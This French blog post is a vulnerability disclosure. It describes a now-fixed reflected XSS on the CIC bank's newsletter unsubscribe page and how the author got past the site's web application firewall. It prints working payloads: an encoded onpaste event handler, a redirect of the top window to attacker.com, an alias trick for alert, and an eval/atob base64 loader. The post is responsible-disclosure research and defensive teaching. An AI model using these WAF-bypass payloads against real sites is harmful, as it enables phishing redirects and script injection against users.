[Contribution] RXSS WAF Bypass – CIC.fr

10
janv.
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Contributions / Vulnérabilités, exploits et PoC / XSS   /   Aucun commentaire

Le portail principal de la banque CIC disposait d’une vulnérabilité de type Reflected-XSS permettant d’altérer le rendu des pages, corrompre la navigation des victimes et dérober d’éventuelles données personnelles telles que les cookies et crédentiels d’authentification.

Introduction

Le Crédit industriel et commercial (CIC) est un réseau bancaire français créé en 1859 et divisé en 6 banques régionales en France et une à l’étranger (Luxembourg).

Le CIC est coté en bourse, il détient 2 067 agences réparties sur tout le territoire national et emploie plus de 21 000 salariés. Il possède également 95 % de l’opérateur de réseau mobile virtuel NRJ mobile. En 1998, le rachat de 68 % de ses parts par la Banque fédérative Crédit mutuel pour 2,04 milliards d’euros a donné naissance au groupe Crédit mutuel-CIC (CM-CIC).

Après consultation d’un email promotionnel reçu de la part de ce réseau bancaire, j’ai souhaité effacer mon adresse email de leur banque de contact afin de ne plus recevoir ce type de message.

Extrait d'un email promotionnel du CIC

Extrait d’un email promotionnel du CIC

L’email disposait d’un lien de désinscription en bas de page, pointant directement sur le site du CIC.fr :

Lien de désinscription en bas de l'email

Lien de désinscription en bas de l’email

En cliquant sur ce lien de désabonnement, nous arrivons sur une page du CIC avec des données pré-inscrites dans un formulaire de désinscription :

https://www.cic.fr/fr/banques/le-cic/actualites-et-publications/newsletters/index.html?email=prenom.nom@domaine.com&action=2&optin_particuliers=oui&optin_professionnels=non&optin_entreprises=non&civilite=Monsieur&nom=NOM&prenom=PRENOM&etat=Abonné

On remarque que les données propres à l’utilisateur cherchant à se désinscrire passent en paramètres GET directement à l’URL.

Formulaire de désinscription et données GET

Formulaire de désinscription et données GET

Il est temps de démarrer une phase d’analyse !

Analyse

L’apparence du formulaire de désinscription semble être au premier plan du navigateur, avec le portail « CIC.fr » en arrière plan ; telle une iframe chargée à la volée.

Cela semble en effet être le cas après analyse de la source du portail CIC.fr :

iframe chargée dans le contexte CIC.fr

iframe chargée dans le contexte CIC.fr

En se rendant à l’URL précédente pointant vers « cic.fr », le portail CIC appel dynamiquement au sein d’une iframe une ressource hébergée sur « www.cmcic-news.fr » pour l’inclure au premier plan. Les paramètres GET transmis au portail CIC.fr sont renvoyés à la ressource de l’iframe.

M’interrogeant sur la fiabilité de la sécurité des données clients sur un portail bancaire de la sorte, je décide de débuter une modification de chaque paramètre GET passés dans l’URL, en ajoutant la chaîne suivante :

xxx<>"'

Les résultats déstructure la page contenant le formulaire à deux endroits. L’un pour la valeur de la variable GET « email » et l’autre pour la variable « etat » :

Déstructuration du formulaire

Déstructuration du formulaire

URL CIC.fr générée :

https://www.cic.fr/fr/banques/le-cic/actualites-et-publications/newsletters/index.html?email=prenom.nom@domaine.comxxx"'<>&action=2&optin_particuliers=oui&optin_professionnels=non&optin_entreprises=non&civilite=Monsieur&nom=NOM&prenom=PRENOM&etat=Abonnéxxx"'<>

URL CMCIC-NEWS.fr générée (iframe) :

https://www.cmcic-news.fr/fr/nlsw/index.php?email=prenom.nom@domaine.comxxx"'<>&action=2&optin_particuliers=oui&optin_professionnels=non&optin_entreprises=non&civilite=Monsieur&nom=NOM&prenom=PRENOM&etat=Abonnéxxx"'<>

Hum… cette déstructuration indique clairement la présence d’une XSS, où les valeurs transmises en GET pour « email » et « etat » ne sont pas suffisamment nettoyées / validées avant d’être réinjectées dans le code de la page.

Enchaînons avec un vecteur d’attaque XSS classique et canonique directement sur la ressource incluse dans l’iframe :

"/><script>alert(0);</script>

Ou encore :

Mon email" autofocus onfocus="alert(/RXSS - Newsletter CIC third-party domain/)
RXSS non filtrée sur CMCIC-NEWS.fr

RXSS non filtrée sur CMCIC-NEWS.fr

Au niveau code source, l’injection est intacte :

Code source avec injection sur CMCIC-NEWS.fr

Code source avec injection sur CMCIC-NEWS.fr

Nous avons donc une XSS réfléchie, tout ce qu’il y a de plus standard, sur le domaine CMCIC-NEWS.fr. Mais l’intérêt serait de la répercuter sur le domaine principal CIC.fr. Forgeons la même URL pointant vers CIC.fr et non plus CMCIC-NEWS.fr. Page de résultat :

Page d'erreur WAF CIC

Page d’erreur WAF CIC

Ha… Une jolie page d’erreur. Il semblerait en effet qu’un équipement de sécurité de type « Web Application Firewall » soit présent en amont de la ressource web, filtrant ainsi les données entrantes (GET) sur la base d’une liste-noire. Seul le domaine « CIC.fr » est protégé par ce WAF contrairement à « CMCIC-NEWS.fr ».

Le vecteur très connu « <script>alert(0);</script> » est donc automatiquement détecté et filtré…

Ça se complique, il va falloir trouver le moyen d’exécuter du JavaScript en bypassant la protection du filtrage du WAF, à savoir :

  • Trouver une balise HTML à injecter qui n’est pas filtrée, ou rester dans la balise sur laquelle porte l’injection.
  • Trouver un attribut-évènement JavaScript fonctionnel sur cette balise qui n’est pas filtré, et idéalement qui permet de déclencher du JavaScript sans aucune interaction de l’utilisateur.
  • Trouver une syntaxe JavaScript d’exploitation qui n’est pas filtrée.

Évasion des filtres (WAF Bypass)

Balise(s)

L’injection du paramètre « email » porte sur un champ « <input> » de type « text ». En souhaitant rester au sein de cette balise et en utilisant des attributs-événements non-filtrés (nécessitant une interaction de l’utilisateur) nous pouvons produire un scénario d’exploitation. Pas d’utilisation de « < » ou « > » dans ce cas, seules des doubles-quotes pour définir des attributs sur la balise courante.

D’autres balises s’avèrent non-filtrées, telles que :

  • <svg>
  • <video>
  • <audio>
  • Etc.

Alors que toutes les classiques proposant des événements tels « onload » ou « onerror » étaient bloquées :

  • <img>
  • <image>
  • <form>
  • <body>
  • Etc.

Attribut(s) – événement(s)

Les événements « onpaste » ou « oncopy » ou « onclick » ne semblent pas filtrés. Ceux-ci se déclenchent lorsque la victime copie / colle / coupe du texte sur le champ en question, donc avec une interaction utilisateur.

Il est possible d’utiliser le « onpaste » par exemple de la sorte :

" onpaste %3D"MY_JAVASCRIPT_HERE

En effet, le WAF bloque l’utilisation de « attribut= », donc en URL-encodant le « = » et en le précédent d’un espace « onpaste %3D », le WAF laisse passer l’injection et le DOM de Firefox 43 interprète convenablement le code.

Pour inciter l’utilisateur-victime à « coller » du contenu dans le champ (plutôt que de l’écrire manuellement), nous pouvons pré-renseigner la valeur de ce champ avec le message « Copier / coller votre Email ici » ; en espérant que la victime soit suffisamment docile pour appliquer à la lettre la consigne.

La plupart des attributs réellement intéressants pour déclencher du JS au chargement de la page sont filtrés, tout comme d’autres usuels :

  • onload
  • onerror
  • onformchange
  • onfocus
  • onblur
  • onkeyup / onkeydown / onkeypress
  • onmouseover
  • onclick
  • Etc.

D’autres attributs d’intérêt sont à étudier, tel que le « onresize », « onhashchange » qui pourraient porter leurs fruits ; ou encore tous les nouveaux attributs arrivés avec HTML5 et les écran tactiles (touch events), qui permettraient de cibler une population de victimes disposant de tablettes / smartphone tactiles.

Payload JavaScript

Sans parenthèse : Open-Redirect

A défaut de pouvoir faire une « alert(1337) » puisque « alert( » est filtré, essayons tout d’abord un payload JavaScript sans utiliser de parenthèse et sans encodage de parenthèse : &#40 et &#41 étant bloqués…

Une exploitation classique via XSS sans parenthèse consiste à produire une vulnérabilité de type « Open-redirect », incluant ou non le cookie courant, auquel cas ça devient du « Cookie grabbing ».

window.location='http://myNewUrl/';

Ce payload fonctionne parfaitement en l’exploitant dans le domaine CMCIC-NEWS.fr, mais dans le contexte CIC.fr il est bloqué pour cause du caractère « = ». Il convient donc d’encoder ce caractère « = » en HTML-encode (&#61) et d’URL-encode ces caractères à nouveau (%26%2361), ce qui donne ;

window.location%26%2361'http://myNewUrl/';

Il perdure un problème : sur CIC.fr, la page vulnérable de CMCIC-NEWS.fr est chargée en iframe. Donc si on produit un Open-Redirect dans le contexte CMCIC-NEWS.fr, c’est uniquement l’iframe qui va être mise à jour vers « http://myNewUrl ». Or mon souhait est de rediriger l’intégralité de la fenêtre, page parente (CIC.fr) comprise, avec le « window.top.location ». Modifions le payload :

window.top.location%26%2361'http://myNewUrl/';

Générons une requête globale avec le bonne balise, événement et syntaxe JS :

https://www.cic.fr/fr/banques/le-cic/actualites-et-publications/newsletters/index.html
?email=Copier / coller votre email ici" onpaste %3D"window.top.location%26%2361'https://attacker.com';&action=2&optin_particuliers=oui&optin_professionnels=non&optin_entreprises=non&civilite=Monsieur&nom=Nom&prenom=Prénom&etat=Abonné

Dans ce PoC d’exploitation, l’utilisateur sera redirigé (Open-Redirect) vers le site arbitraire (attacker.com) dès qu’il collera quelque chose dans le champ « email ».

RXSS CIC.fr Open-redirect sans parenthèse

RXSS CIC.fr Open-redirect sans parenthèse

Avec parenthèse : je veux une alerte !

Nous avons une voie d’exécution de JS, via la balise « <input> » sur laquelle porte l’injection et l’évènement « onpaste », « oncopy » ou « oncut » qui ne sont pas filtrés.

L’injection de JS sans parenthèse est exploitable, comme indiquée précédemment, pour réaliser un Open-Redirect par exemple. Seulement je tiens à mon alert().

En réalité, ce ne sont pas les parenthèses qui sont filtrées, mais bien la chaîne « alert(« , ou encore « eval(« . Ce sont des mots clés / fonctions précises du langage JS et très couramment employées dans des XSS qui sont filtrés.

Seulement le JavaScript est un langage interprété tellement malléable, qu’il y a une multitude voir infinité de méthode d’écriture d’une même instruction, d’où les très nombreuses formes d’obfuscation pour ce langage.

Réécrivons notre alerte, pour ne pas avoir le mot clé « alert » directement suivi d’une parenthèse ouvrante « alert(« .

x=alert;x(1337);

Ça parait tout bête non? Bon, juste une étape supplémentaire, comme pour l’Open-Redirect précédent, le « = » d’affectation « x=alert » doit être encodé en HTML-encode « &#61 » puis URL-encodé « %26%2361 », ce qui nous donne :

Copier / coller votre email ici" onpaste %3D"x%26%2361alert;x(/RXSS - CIC.Fr/)
RXSS CIC.fr WAF Bypass

RXSS CIC.fr WAF Bypass

On peut de là imaginer un payload plus complexe, permettant de charger dans le DOM un script JS distant, facilitant l’écriture de code JS pour l’attaquant (sans avoir à se soucier des filtres du WAF).

Une syntaxe telle que :

x=eval;y=atob;x(y(/YWxlcnQoMTExKQ==/.source));

Pourrait permettre d’injecter un quelconque payload en base64 et l’interpréter dans le contexte de la page.

Note : Bien que l’XSS est fonctionnelle et exploitable à partir du domaine cible CIC.fr, elle n’en reste pas moins confinée au domaine de l’iframe CMCIC-NEWS.fr, donc ne permet pas d’atteindre les cookies de CIC.fr par exemple.

Notifications

Juste après la conception d’un PoC fonctionnel, je me suis empressé d’alerter les équipes techniques du CIC.fr afin de les informer de cette vulnérabilité.

Après quelques démêlés entre le formulaire de contact en-ligne (bridé en nombre de caractères) pour leur donner tous les détails du PoC, un ticket a finalement pu être ouvert à la mi-décembre 2015.

Je tiens d’ailleurs à remercier M. Arnaud V. pour l’escalade en interne de la vulnérabilité et la rapidité du traitement de celui-ci.

Le 19/12/2015, la vulnérabilité a été corrigée et un email de confirmation / remerciement m’a été transmis, encourageant à les contacter directement pour d’éventuelles nouvelles découvertes de la sorte.

CIC.fr / CMCIC-NEWS.fr RXSS corrigée

CIC.fr / CMCIC-NEWS.fr RXSS corrigée

Je salue la qualité de leur correction et rapidité d’intervention.

Conclusion

Une observation que l’on peut souvent faire lors de pentest chez des clients et/ou bug bounty, est que la sécurité applicative de la solution à évaluer est souvent délaissée en justifiant qu’un outil de protection en amont (le WAF) fera le travail.

Il ne faut cependant pas oublier qu’un WAF, certes, permet de bloquer les principales attaques (SQL injection, XSS) sous leur forme standard / canonique, mais que ces outils fonctionnent par liste-noire et/ou un ensemble de patterns d’expressions régulières également limités. Ils bloqueront en conséquence les scanners automatisés de vulnérabilités et les tentatives d’injections simples, mais n’empêcheront pas un assaillant déterminé de passer outre.

Le JavaScript est un des langages les plus malléable et modifiable pour réaliser une même instruction sous différentes formes, assurant ainsi un bypass de l’outil WAF en amont.

C’est clairement le cas dans l’exemple de la contribution auprès du CIC.fr. Après une analyse des filtres appliqués par le WAF et quelques techniques de bypass cumulées, il est possible d’exploiter une XSS pleinement fonctionnelle.

Je ne peux que répéter que pour assurer la pleine sécurité d’une application, l’adage « never trust user input » reste toujours d’actualité. Et que la vérification / nettoyage des données des utilisateurs (sanitization) doit se faire :

  • Au plus tôt : directement au sein des navigateurs des clients via du JavaScript
  • Côté serveur, où les traitements logiques / métiers sont appliqués
  • Mais aussi au niveau du backend (base de données, annuaire), pour s’assurer de l’intégrité des données enregistrées.

Y ajouter des équipements dédiés à la sécurité est un plus. Le déploiement d’un WAF est clairement pertinent, mais ne surtout pas compter que sur lui seul.

Sources & ressources :

Salutations à Harry, Hadrien, Fabien et Mickaël pour les échanges et discussions que nous avons pu avoir sur le sujet de ce présent article 😉

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.